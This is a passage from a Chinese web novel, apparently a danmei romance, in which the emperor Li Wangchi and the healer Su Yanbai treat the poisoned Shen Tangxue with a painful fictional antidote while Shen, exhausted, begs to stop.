听着那人七日毫无败绩的战果,他对沈棠雪说道: “小贵人……此人已来京城七日,病患大大小小无数,皆是齐齐称好!眼见着陛下还未有回京的消息……不若将其招入府来……试上一试?” 沈棠雪沉默了半晌,并未应答,只是呼吸气若游丝,缓缓垂下眼睫,不知在想些什么。 这半个月的时日……他的身子愈发虚弱了,就连缓缓下地两步都会轻喘不止。 喝得平常的太医的药愈发难以下咽,有时似同梗在喉咙一般……吐得人双眼通红。 就算李妄迟再想续他的命数……他也能真切地感觉到命数将尽了。 再多希望也是失望,还是算了罢。 他缓缓闭了闭眼,眼底是掩饰不住的倦意,对徐公公道:“不必再折腾了。” 徐公公见着他平静无波的眼神心上一惊,张口想要来劝,急得团团转。 却又被沈棠雪平静又坚定的眼神摁了下去。 他僵在原地不知看了沈棠雪多久,才只得轻叹一声,躬着背颓废离去。 沈棠雪缓缓看向天边,坐了很久。这一日也似是平常,他也不知李妄迟这半个月去哪,也并未去问,只是随着日复一日愈发汹涌的倦意沉沉睡去。 这间人气渐弱的屋子却在夜晚迎来一人。 月光满盈之中,一个高大的身影被勾勒得明晰。那人脱了外套,将满溢的风雪挡在了门外,脚步沉沉,逐步走近,将沈棠雪拥入怀中。 他缓缓垂眸,眼神幽深,将沈棠雪的脸拢在掌心。裹挟满溢的气息将他全数包裹,那人缓缓低首下去,予以暴风雨般的亲吻。 “唔……” 吻密密麻麻,攻势汹涌,像是珍视地要将沈棠雪的每一寸肌肤都记住,半梦半醒之间,沈棠雪迷迷糊糊睁开眼来。 他的眸中水光潋滟,蹙了蹙眉正欲移动身形,便被人揽住了腰。 黑暗之中,他看着那人,没有说话,眼眸定定之时,那人也并未言语。 一时,二人之间的狭小空隙只余粗重的呼吸和烫热温度。 半晌,那人又倾身下来,深深地吻住他的唇瓣。 沈棠雪闭了闭眼,只觉烫热的呼吸喷在面颊,唇齿交缠之间,似有什么入口即化的药丸被顺着舌尖渡入口中。 他猛地张开眼,瞳孔微缩,却见那人一触即分,似安抚地亲了亲他的侧颊,随即微微退开身子,用手掌去丈量他的手腕。 指腹在腕间留下如羽毛般的痒意,又缓缓握紧。 黑暗之中,那人眼神定定地看着他愈发消瘦的模样,像是几乎要抑制不住自己的情绪,在他耳边呢喃道: “沈棠雪……你得活着。为了我,也得活着……” “我……”沈棠雪张了张口,嗓子嘶哑。 却见那人闭了闭眼,用额头抵住他的额头,祈求般地道:“阿雪……你得活着。” …… 次日醒来,身边空无一人。冬日冷风灌进屋内,于空气中吹拂得悄然,将床榻上仅有的温度都全数卷走。 沈棠雪怔怔地用手搭着冰冷的被褥,深深呼出一口气,有些分不清现实与梦境。 他缓缓抬起手来,定定地看着手腕上被那人丈量时握出的红痕,沉思片刻,将徐公公叫了进来,缓声问道: “陛下是不是回京了?” 徐公公垂下头应了声,“陛下生怕吵醒您,不让老奴禀报。” 沈棠雪颤了颤眼睫,才确信昨晚是李妄迟来过。 他抿了抿唇,感受着还带着略微麻意的微红唇瓣,略带不满地别过脸去。 ……昨晚不还是把他吵醒了。 思绪之间,沈棠雪想到那枚不知是甚的入口即化的药丸,眼神微动,指尖蜷了一下。 昨晚李妄迟给他喂了什么? 如若他当真找着杜余草的解药了,为何不同他说?要这般偷偷摸摸地入殿又走?更何况…… 李妄迟昨晚看起来情绪不对。 沈棠雪未想了个明白,摇了摇头,正欲等他来时再问,却不想,当日下午,李妄迟便带一人来了府中。 那人吊儿郎当地左顾右盼,进府之时还笑着跟旁边的侍人寒暄,被徐公公瞪了一眼,说一点规矩也没有。 他也不管,只是仍笑眯眯的,神情自若,负手而立之时,倒像是个来谢家宅院欣赏的客人。 他脚步渐近,闲庭信步,却在见着屋内瘦削脆弱的沈棠雪时,愣了一下。 他有些不可思议地看着眼前人,怔怔往前两步,想要将其看个明晰,却见沈棠雪先喊了他, “砚白。” “沈棠雪……竟然是你?”苏砚白有些恍然,怔怔地看了面前人许久,回过神来向他走去。 他上下打量沈棠雪这副模样,心中涌起一阵惆怅之意,轻叹一声。 当年在草原,他们也是寄人篱下,知晓沈棠雪的处境却无权无势不敢多管,只能用微薄之力隐隐帮扶一些…… 但对沈棠雪当时的处境来说……还是太杯水车薪了。 如今看沈棠雪这副病入膏肓的模样,苏砚白心里有愧,连声调都放得轻,解释道: “之前在草原,我们也是仰人鼻息……别怪罪。” 沈棠雪笑了笑,“我知道。” 又遇故人,苏砚白的动作有些拘谨的僵硬,他向李妄迟望去一眼,隐隐询问道要救的是谁,在得到肯定回答后,松了一口气。 苏砚白的语气多了一分可以弥补的轻快,上前去给沈棠雪把脉,却在摸到脉象时情况不容乐观地皱了皱眉。 沈棠雪的脉象如今已然虚弱得几乎要摸不见,同他的呼吸一般气若游丝…… 如若不将杜余草侵蚀的速度减缓,恐怕他都等不到配置解药的时候。 苏砚白抬眼问他道:“当初我在草原给你配置的减缓杜余草毒性的药吃完了吗?” 沈棠雪一愣,指尖一蜷,似是想到了什么,下意识地看了李妄迟一眼,没答话。 ……他当时早已心存死意,那个药,他没带回来。 这样无言的反应让苏砚白心领神会,他只是道: “解药配置费力费时,如若再让杜余草侵蚀下去,恐怕待药来……你的身子也承受不住。会受很多苦。” 说着,他的语气中也带了一丝焦灼, “先前给你的减缓毒性的药制作不难,只是材料都是草原才有的物什,京城寻不见……” “如若再寻原料,一来一回不知要多久,待药再制,恐怕杜余草也早已……” “有的。” 在气氛凝重之时,李妄迟接过话来。沈棠雪愣了一下,“什么?” “……那个减缓毒性的药,有的。” 便见他拿出一个熟悉的陶瓶。 李妄迟将其晃了一晃,隐隐约约转眼看向他,沈棠雪身子一僵,终于知晓—— 李妄迟昨夜给他喂的药是什么。 ……他去过草原了? 第34章 第三十四章你原先……不打算回来见我…… 苏砚白走后,沈棠雪直直对上了李妄迟的眼神。 那一双眼比昨夜还幽深,凝定地看着他时眼神却带着一丝复杂和受伤。 李妄迟缓缓走近,将他逼近床榻之时,将他的身形拢在双臂之间,定定地看着他,烫热的呼吸喷洒在他的耳侧,嘶哑着语调道: “你回京的时候……不想活了?” 沈棠雪心上一颤,“什么……” “你……不想回来见我?” 沈棠雪心上一紧,便见李妄迟手里攥着那一瓶被他遗落在草原里的药。 李妄迟微微一晃,那里面的药丸便发出滚动的声响,仿若在一字一字控诉他的罪行。 沈棠雪颤了颤眼睫,有些心虚地别过脸去,不敢对上李妄迟的眼神…… 却被李妄迟捧着脸被迫直视他的眼睛。 “阿雪。” 紧紧盯着的那一双眼带着凝定,认真又执着地看着他,瞳孔带着细碎的光芒,像是要向他要一个答案。 沈棠雪眼睫一颤,唇瓣嗫嚅了半晌,才终于开口,“我……” 却被李妄迟倾身将他的唇瓣堵住了。 李妄迟想着,他后悔了。这样一张会骗人的唇,这样一个会迷惑人心的人,他的回答……他不想听。 他不想听沈棠雪再哄他什么了。 浓重的气息裹挟而来,唇齿交缠之间,沈棠雪“唔”了一声,眼睫有些湿润地颤动地抬起。 他只觉李妄迟的气息都带着苦痛的气息,随之而来的用力动作几乎要将他吞吃入腹。 沉甸甸的苦与唇间残留的药香交缠在一处,一下一下的水声刺激着他的耳膜,他微微喘着气,便觉腰身被李妄迟轻拢在肘臂之间。 “妄迟……” 他蜷了蜷指尖伸手回抱住李妄迟,颤抖地呼吸着,努力地迎合他。 霎那间却只觉抱着他的那个人将头埋进他的颈窝,身子抖得厉害,恍然间好似还带了些后怕。 二人胸膛贴着胸膛,感受着李妄迟愈来愈快的心跳,他的心也怦怦直跳起来。 他想解释,但当时情形确是如此。 他本就存着只余三个月的死志……也没想回来再见李妄迟。 当年闹得这么一团糟,他怎么又敢回来见他? ……怎么舍得再往他的心上扎上一刀? 他的心绪都堵在嗓子之间,不敢再说出来叫李妄迟难过一分。 正当他踌躇着不知该如何度过这一关时,却见李妄迟缓缓退开身子,抽离开来,伸手摸了摸他的侧颊。 他的面容平和,好似方才抱着人时的后怕都被他很好地掩藏了去,那一双眼只有温柔的缱绻。 只在定定看着他瘦削的面容时,眼底藏了一股意味不明的黯然。 李妄迟没有再问,只是半晌缓声道:“我去问问苏砚白……与药相关的事。” 沈棠雪眨了眨眼,感受着贴在侧颊的指腹的余热,乖乖地点了点头,“好。” …… “吱呀——” 不知多久,门扇轻开。沈棠雪正倾身用手拨弄着瓷勺,闻声侧头看去,便见李妄迟带着疲惫之意进了屋。 他的神情似是心不在焉,有些怔怔地看着他,半晌,又闪过一丝苦痛之意。 沈棠雪看出他的不对劲,将其收入眼底,弯了弯眼睫伸手要抱,“妄迟。” 下一秒,他便被李妄迟揽进怀里。沈棠雪缓缓垂首侧到他的耳畔,问道: “苏砚白跟你说什么了?” 既是来寻他,那必然是同他相关的事。但却又避而不谈,想必是不想让他知晓的事…… 苏砚白跟他说什么了? 李妄迟身子一僵,没有言语,只是闷声将他凌乱的碎发理好,微微抽身将他的衣襟理好,又低下身来去拉平他的衣袖…… “妄迟。” 李妄迟硬着头皮抬起眼来,对上他清泠泠的眼神,嘶哑着声调道: “解药用材有些繁琐……药材难寻,我已派人去配了……” “届时……”他顿了一顿,看了沈棠雪半晌,才终于溢出点强颜欢笑, “届时喝药时……可能会有点痛。” 沈棠雪点了点头。杜余草深入骨髓,如若要将其清除,是会痛的。 ……但他没想到会这么痛。 解药来时,已然是十日之后了。他因着吃了缓解毒性的药丸,杜余草的毒性没有再继续侵入。 但沉疴难解,放任不管这些年,早已病入膏肓了,因此这些日子也还是虚弱。 解药被端上来时,他直了直身子,垂眸看去,将其接过了来。 碗中药呈黑红色,深而不见底,沉沉弥漫着一股异香。沈棠雪隐隐头皮发麻,似感觉到一丝不对。 他闭了闭眼,仰头将其一饮而尽。 味道带了些甘苦,异香弥漫在鼻尖之时,沉沉地将人包围其中,药液入喉,卷起一阵密密麻麻的微小刺痛,随即…… 沈棠雪倏然睁大了眼,目眦尽裂,苦痛地扬起雪白的长颈,只觉一股剧烈的疼痛霎时窜上天灵盖! “呃……!” 药液于他体内霎时分散开来,如一根一根细小的尖刺往他的脉络里钻去,钻进血液之中,一下一卡刺过他的血管。 沈棠雪不住地蜷起身子,脊背大幅度地颤动着,痛呼抑制不住,湿润的眼睫疯狂颤动。 体内的药液在生生地消解散落在他其中散落四处的杜余草的气息…… 残忍得人几乎要死去。 感受到他瞳孔都有些涣散,李妄迟瞳孔一缩,猛地上前将他抱住。 怀中人紧紧地抓着他的衣襟,手指抓到发白,身子还在不住地发着颤,呜咽地唤他,“妄迟……” 像是哀求,不愿再忍受这般酷刑,湿润的眼神中苦痛凝如实质,霎时,晶莹的泪珠掉落下脸颊。 李妄迟将怀中人抱得更紧,闭了闭眼,想到了苏砚白跟他说的话。 “此药与杜余草药性对冲,连续喝三十日便能够将他体内的杜余草残余毒性一点一点清理干净,之后……慢慢温养便是。” “只是……此药药效猛烈,会起极大的应激反应。他的身子本就脆弱成这般……可能会接受不了。” “药效之下……也不一定能活到那个时候。” 他那时总想着哪怕有一分可能,他也要沈棠雪活着,自私地擅做了这个决定。 可是看见沈棠雪这样,他的心还是揪紧了。 如若能活……阿雪只要熬过这三十日。 如若不能,沈棠雪一个月后便会死去……还白疼这一遭。 “阿雪……”李妄迟的声音也在发着颤,看着怀中人蜷缩成一团抑制不住痛呼的模样,恨不得以身相替。 可他分明在眼前,却不能为他分担一丝苦楚。 他紧紧地环住沈棠雪的手,任凭他将自己的手背掐得几乎见骨,去拭去他额上的冷汗。 却见沈棠雪的呼吸气若游丝,发颤的身子猛地停了一瞬,随即倏然躬身—— 猛地吐出一口血来! “阿雪!” 滴答,滴答。 黑红的血液浓稠,一滴一滴落在雪白的被褥上,沈棠雪在他怀中闭了闭眼,脸色苍白得被刚从水里捞出来一样。 他那双漂亮的眼睛如今皆是濒死的脆弱,瞳孔有些涣散地看着被吐出的污血。 分明毒素可以被排出,分明这个解药有作用……他却没有觉得松快一分。 他的心头涌上而是无休止的恐惧。 连续三十日……都得这般么? 沈棠雪的指尖不可控制地发着颤,感受着体内药液如针扎一般的流转。 每动一下,浑身上下的一寸寸肌肤都变得酥麻。 他安静地躺在李妄迟怀里时,只觉连自己的轮廓都感受不到,连李妄迟的轮廓都感受不到…… 只能感觉到漫无边际的苦楚。 他转眼看向李妄迟,半晌,思绪之间还是动容,拼尽全力对他苍白地笑了一下。 第35章 第三十五章“妄迟,我累了。”…… ……第一次服药,沈棠雪便反应激烈成这般。 李妄迟见状马不停蹄地去寻了苏砚白,焦急地想问还有没有其他解决方法,却只得到了他否定的回答。 “此药便是如此……服用期间会消解杜余草的毒性,但由于药性猛烈,同时对身子也有损害。因此,待毒性解了个干净之后,要好生温养着。” 苏砚白顿了顿,摇了摇头,对服用药物期间时沈棠雪的痛楚无能为力。 但他思索半晌,还是劝道:“他的寿命只剩一月有余了,左右都是死,不如试上一试呢。” ……左右都是死。 听着苏砚白的话,李妄迟心上一紧,思绪之间,浑浑噩噩的。 他知晓沈棠雪已然病入膏肓,如若没有此药,也不过再一个月余的寿命了。可是…… 沈棠雪痛成这样,他又怎么舍得让他再这样苦痛一个月? 李妄迟的心绪复杂,闭上眼,脑子里便都是沈棠雪泪意满盈的脸和攥着他衣物时那般不住颤抖的模样。 他仿若心被一只无形的手揪住了,也不知道该怎么选。次日,看着碗里的药,他感觉嗓子都变得干涩。 他的心上端得忐忑,不敢面对沈棠雪的面容,不敢去看他对着这药时会再是什么样子。 ……甚至不敢往殿里去。 “吱呀——” 已然不知过了多久,他才收拾好心绪推门而入。他的眼神复杂,还带着一丝小心翼翼,却对上了沈棠雪平静的眼神。 沈棠雪靠坐在床榻上转眼看他,昨日的难受好似已经褪去了,脸色不似如纸一般的苍白,只是眉眼还带着一丝脆弱的疲态。 他像是知晓李妄迟在想什么,端得无事发生的神色如常样子,缓缓向着他招了招手。 李妄迟一顿,向着他走去,下一秒便见沈棠雪眼神温和地看着他手里的药,伸出手来主动接过。 他捧起药碗,闭了闭眼将其一饮而尽,随即平淡地伸出手来,让李妄迟将他抱着。 李妄迟快步上前去将他揽在怀中,对视之时,还能看见沈棠雪尚还清明的温柔眼神。 下一秒,沈棠雪垂了垂眼睫,环着他的脖子将头紧紧靠在他的颈窝。 他靠得很轻,像羽毛一样,缓缓垂下眼睫时,纤长的睫羽缓缓扑闪着颤动,在李妄迟的脖颈上惹上一阵痒意。 随即他的呼吸逐渐颤抖起来,轻轻重重得不成韵律。 沈棠雪眉头轻蹙,环着脖颈的手转而去攥着李妄迟的衣物。 他的指腹发白,将其揉得发皱,那紧闭着的唇溢出嗓子内重重压抑着的呜咽,那瓷白的额上都冒着冷汗。 半晌,他后背的衣物都被冷汗浸湿了。 感受着怀中人发抖的身形,李妄迟将人搂得更紧,终于看出来沈棠雪方才的平静是装的…… 是为了不让他担心吗? 李妄迟嗓子一紧,那只温热的大掌贴着他的脊背,给沈棠雪传去安全的温度,沉声颤抖地哄道: “我在……我在。” “阿雪……” “我在。” 他的声调与沈棠雪的呼吸起起伏伏缠绕在一处,不知多久,沈棠雪缓缓抽身抬起头来。 气若游丝的呼吸喷在李妄迟的侧颊,像羽毛挠过一样,几乎要听不见的呼吸就像面前人如今一样脆弱。 沈棠雪那一张瓷白的小脸如今面无血色,湿润的眼睫还有泪,一双水光潋滟的眼直直地看着李妄迟,恍然温柔。 分明嘴唇发白,他的眼睛似还有虚弱的笑意,身子都在不住发颤的时候,他还是一字一句颤抖地道: “我爱你……” 他脆弱的声调仿若带着要被拽入地狱里面去的空灵,一声声执着的呼喊像是支撑他忍受苦痛的唯一抓力点。 “我爱你……” 李妄迟心中感觉被一只无形的手攥紧了,“阿雪……” 他感觉自己的声调也变得颤抖,无声地凑上前去亲沈棠雪的眼睛。 一下一下的亲吻如同安抚,那一双手将沈棠雪攥得愈紧,只觉呼吸交缠之间,沈棠雪的呼吸愈发虚弱了。 不过半晌,沈棠雪便如没骨头似的瘫软在他怀里,手虚虚地搭在他的肩头,很缓慢地颤动着眼睫。 这一次的沈棠雪比上一次服药还虚弱得多,声音渐小,哭喊到最后都没什么力气了,只剩嗓子里溢出来的啜泣。 李妄迟将指尖凑到他的面颊,揩住他颤颤落下的一颗晶莹的泪珠。 …… 夜光幽幽,莹白的月光淡淡地洒落窗棂,正巧照映着正侧身躺着的沈棠雪身上。 他侧着身子浅眠,双手交叠地靠在枕下,显得好乖。月光将他湿润的眼睫照得晶莹剔透的,莹白的月光照映过来,显得肌肤愈发白皙。 李妄迟靠坐在他身后陪着他睡,眉眼温柔。 不知多久,浅眠的沈棠雪似是动了一下身形,他在睡梦中似是皱了皱眉,朱唇轻启,颤抖地喃喃道: “冷……” 李妄迟没听清,弯下身子来凑近地将人搂住,缓声问道:“什么?” 沈棠雪像找到热源一样转过身来,忙往他怀里钻,迷迷糊糊之间,眸中盈着水光,双手环住他的腰身,又小声地道了一句, “好冷……” 今日沈棠雪变得格外怕冷,也格外粘人。许是药效将杜余草的毒性消除的同时,也叫他的身子脆弱了许多。 ……他的额头好似是烫的,面颊又苍白得冰冷,只余眼尾染了一层薄红。 李妄迟揽着他的腰身,让他靠近自己怀中,便见沈棠雪蹙了蹙眉,侧过脸去之时,唇齿间哈出寒气。 殿内还是太冷了。 李妄迟眉头紧锁,小心挪动开沈棠雪环着他的柔软手臂,将人团入被褥里,起身蹑手蹑脚地把窗棂关紧,将冷气都挡在外面。 “吱呀——” 看着沈棠雪放松下来沉沉睡着的面容,李妄迟缓缓柔和了神情,以为他是逐渐好转。 ……没想到是开始。 解药药效渐长,太医来诊过,都说体内杜余草残余的量逐渐少了,就连苏砚白也点了点头。 没想到沈棠雪却逐渐衰败下去。 刚吃药时哪怕再痛,沈棠雪对着他时也还有笑容。但时日一日一日过去,没想到沈棠雪连笑容也抬不起来了。 不知今日是多少次喂药,也许是第十一次,也许是第十二次…… 沈棠雪变得愈发消瘦,不过半个月,便整个人又消瘦了一圈。 温热的阳光洒进屋子,将他的轮廓勾勒得明晰,消瘦得尤为明显。 他瘦削的肩头几乎要挂不住宽大的衣裳,手腕几乎一握便能捏碎,苍白的腕间青紫色的青筋清晰可见…… 抬眼望去时,连看着李妄迟的眼神都有点疲惫了。 李妄迟有些恍然地缓缓走近,便听沈棠雪用沙哑得几乎都要听不见的声音道: “妄迟……我有点累了。” 李妄迟顿时瞳孔紧缩,便对上他带有破碎笑意的眼睛。 沈棠雪的眼神温柔,却带着一阵刺痛般的残忍脆弱,呼吸放轻时,他带着不知酝酿多久的话语,颤抖着笑道: “我真的好痛啊……放过我吧,好不好?” 这些时日……每至那药灌下,他都感觉自己的生气被抽离几分。身子愈发虚弱,浑身无力,杜余草像是要同他同归于尽一般…… 每次吐出浊血,他也感觉……自己的生机一并随之消散了。 还能熬到那个时候吗?他可能熬不到了。 他现在只觉得自己像行尸走肉,连抬起眼都觉得累。 李妄迟霎时僵硬在原地,宛若被他的话语震得再走不动一步,呼吸逐渐变得轻缓,又变得粗重,随后红了眼眶,一步一步向着沈棠雪走去。 “阿雪……只剩半个月了,最后半个月了……你会好的……” 如若此时停下,阿雪这般脆弱的身子,又能撑多久? 他本就只剩半个月的寿命,如今被那解药一磨,更是虚弱得残忍。如若熬过这半个月,还能有一线生机…… 若此时当真停了药,那才真是无力回天了。 ……不能停。 不知何时,他恍然地靠近,捧着药坐在沈棠雪面前,红着眼睛央求般颤抖着声调, “阿雪……最后半个月了,再坚持一下……好不好?” 沉默,无尽的沉默,沈棠雪低垂着眉眼,半晌转眼看着他不知道看了多久,伸手接过药。 他默然地看着李妄迟通红的眼眶,拿着药碗,试图将其一饮而尽。 可那双修长的手剧烈地颤抖着。 他连药碗都拿不稳了,碗边随着指尖疯狂地颤动着,不知努力了多久,才缓缓够到唇边。 温热的药液却从下巴流下,洒在被褥上,狼狈尽显。 沈棠雪不知喝了多久,指腹捏着碗边捏到发白,喉头滚动时,吞吐的动作都显得吃力。 半晌,他似也觉得自己狼狈得可笑,颓然地自嘲一声,放下药碗,微微压下眼睫,一声不吭。 让李妄迟看着他这副模样时,终于崩溃了。 第36章 第三十六章他笑得脆弱,眼里好像有碎…… 夜晚都泛着冷,周遭冷如冰窖一样。 李妄迟眼中有疲惫的红血丝,定定地看着怀中被环着微微躬着脊背将自己蜷缩成一团的人,只觉榻间都变得冰冷。 闭上眼,梦里都是沈棠雪今日喂不进药的模样。 这一双漂亮平和的眼睛,今日喂药时看着他的时候却是灰暗的,泛着水光的眼睛仿若蒙了一层灰蒙蒙的雾,带着隐隐约约的…… 死意。 他知道,沈棠雪动摇了。 他那时心尖发颤得厉害,无尽的恐惧盘旋在心头,只有自己当时颤抖着的声音和猛地上前环住沈棠雪的动作。 他哀求地对沈棠雪说:“阿雪……再试一次……再喝一日……” 可是这样的话语,能哄几次? 他看着沈棠雪不知花了多少心思才灌下药后的苦痛呻吟,低蹙着眉躬身闷声啜泣的模样。 望着他如坠深渊的眼神,感觉他连纠缠都是苦痛的,看着他的眼神……都是苦痛的。 ……他好像真的要抓不住沈棠雪了。 李妄迟缓缓睁开眼,看着旁边人疲惫地倦眼浅寐的模样,慢慢地环住了他的腰身,深深地吸了一口气。 细瘦的腰肢不盈一握,似是又瘦了一圈,沈棠雪的侧腰又陷下去一道浅凹的轮廓。 轻轻一捏,几乎能按到里面的骨头。 将人环住之时,怀中还剩大半个空隙,好似有风灌进来,浅浅地盘旋着,便几乎要将沈棠雪都吹散了。 这样脆弱的沈棠雪……这样飘渺的沈棠雪…… 他还能坚持几日? 李妄迟闭了闭眼,不忍再想,缓缓攥紧了指尖,心中也涌着一片迷茫。 今天能将药忍着再灌进去……明天怎么办,后天怎么办? 他要怎么办? …… 不知多久,他才沉沉睡去。耳边是沈棠雪浅淡的呼吸声,能叫他缓缓放松两分。可没想到—— 再醒来时,身边是空的。 摸到身旁冰冷的被褥时,李妄迟骤然清醒,指尖都好似霎时冻得僵硬,他额上冷汗直冒,骤然起身。 沈棠雪去哪了? 想起昨日沈棠雪的眼神,他的心紧紧揪起,涌起一阵慌乱。他急急下榻,一分钟都不等,鞋袜都没穿就猛地冲出门去。 “阿雪?沈棠雪!” 他夺门而出,四面空荡,没有见着沈棠雪的身影。他的心怦怦直跳,嗓子眼都一紧,没想到迎面碰见了徐公公。 他眼神一凝,急急地抓住人问道:“沈棠雪呢?有见着他么?” 徐公公急忙回道:“小贵人去寻苏大夫了,陛下……您别急……” 确定的话语传来,李妄迟感觉这时心才终于落了地。 他身形一晃,好似霎时冷静了几分,闭了闭眼,涌上来的是一阵后怕与庆幸。 没事就好……只是……去寻了苏砚白而已。 他强压下心中的不安,僵硬地挪动脚步,半晌,喉头一滚,抬步向着苏砚白的殿中走去。 这一路好似很长,又好似很短,思绪恍然之时,他都不知道自己是怎么到殿前。 一站定,便听两道声音响起。 “你现在体内的杜余草已然少了许多……情势正在逐渐好转,当真不想再继续了吗?” 李妄迟一愣,瞳孔紧缩,猛地心中咯噔一声。半晌便听屋内一道熟悉的声音轻轻喟叹,带着自嘲苦笑一声, “砚白,我真的能撑到那时候吗?” 屋内,沈棠雪淡淡地看着苏砚白,分明在笑,笑意却显得疲惫。 那一双漂亮眼睛如今如一丝丝生气被抽离一般,灰蒙蒙的,像黯淡的曜石。 似与他当初见着的那般不同。 他仿若一身心气都被药效磨平,只余温润又空洞的躯壳,看着他时,曾经眼中细碎的光芒消失殆尽。 他在逐步衰败。 苏砚白在打量他之后整个人都愣了一下。……但解药已然过半了,既然支撑到此处,他还是不想他放弃。 他张了张口,又劝道:“你若真当放弃了,陛下知晓,定会生气……你想想他,再坚持几日罢?” 沈棠雪指尖一蜷,缓缓闭上眼,呼吸放轻,像是将苏砚白的话语避至耳外。 他能感觉到这些时日……体内的生命力又在不住消散了。 他提不起一点力气,只能眼睁睁地感受着解药一寸一寸地碾过,将他都消磨。 他看不了自己日渐消瘦得无法忍受的模样,也不想……让李妄迟看见他这样。 他不想变成一具枯骨然后再死去,再让这些时日连爱意都消磨。 倘若真当到了那时候……李妄迟会怎么想? 会觉得他难看吗……会觉得他狼狈吗?会觉得他不似从前……变得很可怕吗? 想到此,沈棠雪都感觉心都揪紧了。他轻轻呵了一口气,只觉得自嘲盘旋在心间,不敢面对,也不愿去想。 ……这样真的太残忍了。 他深深地吸了一口气,整个人卸下力气般沉了肩头。半晌,像是做下最后的决定一般,笑着对苏砚白说: “砚白……就到这吧,算了吧。” “砰!” 他话音未落,门猛地被人打开了。 眼见着苏砚白转眼望去,他也转过眼去。视线平和之时,却对上了李妄迟紧紧盯着他的双眼。 李妄迟的眼神幽沉,双眼通红,呼吸都带着颤抖。他大步走近,霎时影子将他笼罩在其中,周遭气压低得吓人。 沈棠雪一愣,霎时有些手忙脚乱,却见苏砚白不知何时审时度势地走了。 他还未来得及喊他,屋内便只剩他与李妄迟二人。 一时屋内安静得针落可闻,耳边只有李妄迟沉重的呼吸。沈棠雪抿了抿唇,有点想躲闪。 李妄迟带着侵略性地定定看着他,像是执着什么一样,眼神凝定,半晌,嘶哑地开口: “阿雪……你不能这样。” 他幽沉地看着面前人,可是连控诉都不知该在他心上的天平称上几分。 他看不透他的心,也摸不见他内里的伤口……只能按着沈棠雪的衣袖,抓着他的臂膀,将他禁锢在自己身前的空间…… 可又好似隔了好远。 眼前的这一双眼睛清泠泠的,分明虚弱,却又带着残忍的执着,像飞蛾扑火,像虚无缥缈的轻雾,只要一松手,就要抓不住他了。 ……他真的要抓不住沈棠雪了。 事至如今,看着他的那双眼好似也觉着不要再躲了,沈棠雪清冽的眼神温柔,定了定神,似讲道理一般笑着说: “妄迟,你看我。” 李妄迟顺着他的话颤抖着眼神看着他。 “我比之前更虚弱了,再往后,我会变成一具枯骨。会越来越消瘦,也会越来越难受,会变成你不喜欢的样子……” 他笑得脆弱,眼里好像有碎光,身子却在小幅度地发颤。 瘦削的肩头似是挂不住那般宽大的衣裳,动作之间,露出的锁骨都在上下起伏, “挣扎这么久也只会是空欢喜一场……” 李妄迟打断道:“不会的!” “我不会不喜欢你……也不会只是空欢喜,你怎么会这么想?” “所以,妄迟,放过我吧,好不好?” 二人同时开口,声调交叠在一处,又霎时停止。 李妄迟目眦尽裂,猛地屏息,有些绝望地骤然看向沈棠雪。 沈棠雪一字一句说得狠,说得残忍,像是把自己的血肉都掰开给他看…… 可这一番话,他却觉着自己的心也跟着一并被撕碎得血淋淋的。 他将沈棠雪的衣袖抓得很紧,青筋暴起,揉紧又松开,好似因为这一番话丢盔弃甲——彻底崩溃了。 “阿雪……” 他低垂下头,嗓子里发出努力压制却还是不受控制溢出的哽咽,身子不住地颤动。 血淋淋的心还在执着,却好似霎时一松,终于服软一般猛地卸了力气。 叫他也再也提不起力气来。 他颓然地躬下脊背,双手颤抖得厉害,再抬眼时,一滴滚烫的泪珠凝凝掉下,那一双通红的眼底带着绝望的不解, “能不能别丢下我……” 第37章 第三十七章“放过我吧……妄迟。”…… ……也许话语都是有感应的,沈棠雪可能真的感觉到自己要撑不住了。 他今日沉默寡言,瘦削的肩头轻轻放松下来。那一张有些干裂的唇瓣微微抿着,纤长的眼睫低低地垂着。 见着李妄迟端来药碗,他定定看了好半晌,才缓缓接过来喝了。 “咕噜……” 饮药时,他的眼珠转得很慢。那双清泠泠的眼睛好似都变得迟缓,待药喝完,沈棠雪轻轻将药碗放下,颓然地沉了肩头。 肉眼可见地疲惫下去。 药效上涌,他似是连脊背都颤不动了,闭上眼时,微微颤动着睫羽,半晌,抬起头来对着李妄迟虚弱地笑了一下, “……妄迟,我倦了。” 二人心知肚明。 李妄迟嗓子一紧,看着他这般虚弱的模样,缓缓嘶哑地道了声:“好。” 他轻搂着将人缓缓放躺在床榻,沉默地缱绻着摸了摸他的脑袋,看了他半晌,嘶哑道: “阿雪,我出去一会儿……等会就回来。” 没想到回来之后,屋内寂静得可怕。 此时已是日暮,晚霞烧红,外头街道的摊贩准备打道回府,院外有侍人的脚步声和窸窣的交谈声。 李妄迟缓缓进屋,关上门扇,将所有声音都隔绝在了门外。一时天地寂静,什么声音也没有。 ……可恍然听闻间,好像连呼吸声都没有了。 他顿时有点不可置信地又屏息感受了一下,刹那想到什么,瞳孔紧缩,如一盆冷水泼下,跌跌撞撞地往床榻边冲去,冷汗直冒, “阿雪…阿雪!” 他的呼吸急促,心脏怦怦直跳,这样忐忑不安的模样在见着沈棠雪的面容时也并未冷静一分。 转眼间,映入眼帘的沈棠雪正浅浅侧过头,阖眼浅眠。 他平静的脸上嘴唇苍白,分明瞧着好似没什么苦痛,神情中的倦怠却让人瞧出几分虚弱来。 李妄迟颤抖着身子缓缓半靠在床榻边,倾身下来,半环着他的身子,有些害怕地凑近耳朵去听他的呼吸。 眼前人的呼吸几不可闻,微小得宛若夜空萤火。 像是在一闪一闪地发着光亮,却又好似……下一秒就要灭了。 比他离开时更加虚弱。 李妄迟霎时如同一盆冷水浇下,呼吸粗重两分,他颤抖着手缓缓挪动着身形,又靠到他的胸膛去听他的心跳。 扑通,扑通。 心跳声又弱又缓,也在微弱跳动着。 沈棠雪像是梦中还带着痛楚,无意识地唇间泄出一丝呻吟,靠在身侧的指尖紧紧攥着被褥,指尖还在微小幅度地发着颤。 李妄迟转眼望去,紧紧地攥住了他的手指。 修长白皙的指尖被环在他掌心,下意识地蜷起,却好似冰冷得毫无温度,一如……眼前人那般。 扑通,扑通。 李妄迟闭了闭眼,缓缓挪动指尖与其转而十指相扣,微微收紧,微弱地极力地给他转递一些温度。 随着心跳,呼吸,指尖的微小颤动,两个人的气息好似都纠缠在一块。 沈棠雪在梦中……能感受到吗? 待他平静一些,李妄迟立马去喊了太医来。 太医躬身入内得匆匆,低首不敢看他,转眼去给沈棠雪诊脉。被李妄迟盯着时,太医汗毛竖起,不敢松懈一分。 待真正诊完脉,他才缓缓放松下来,缓和下语气禀报道: “陛下……小贵人无事,只是喝了药,身子虚弱,疲惫之时呼吸渐缓罢了。” ……是么。 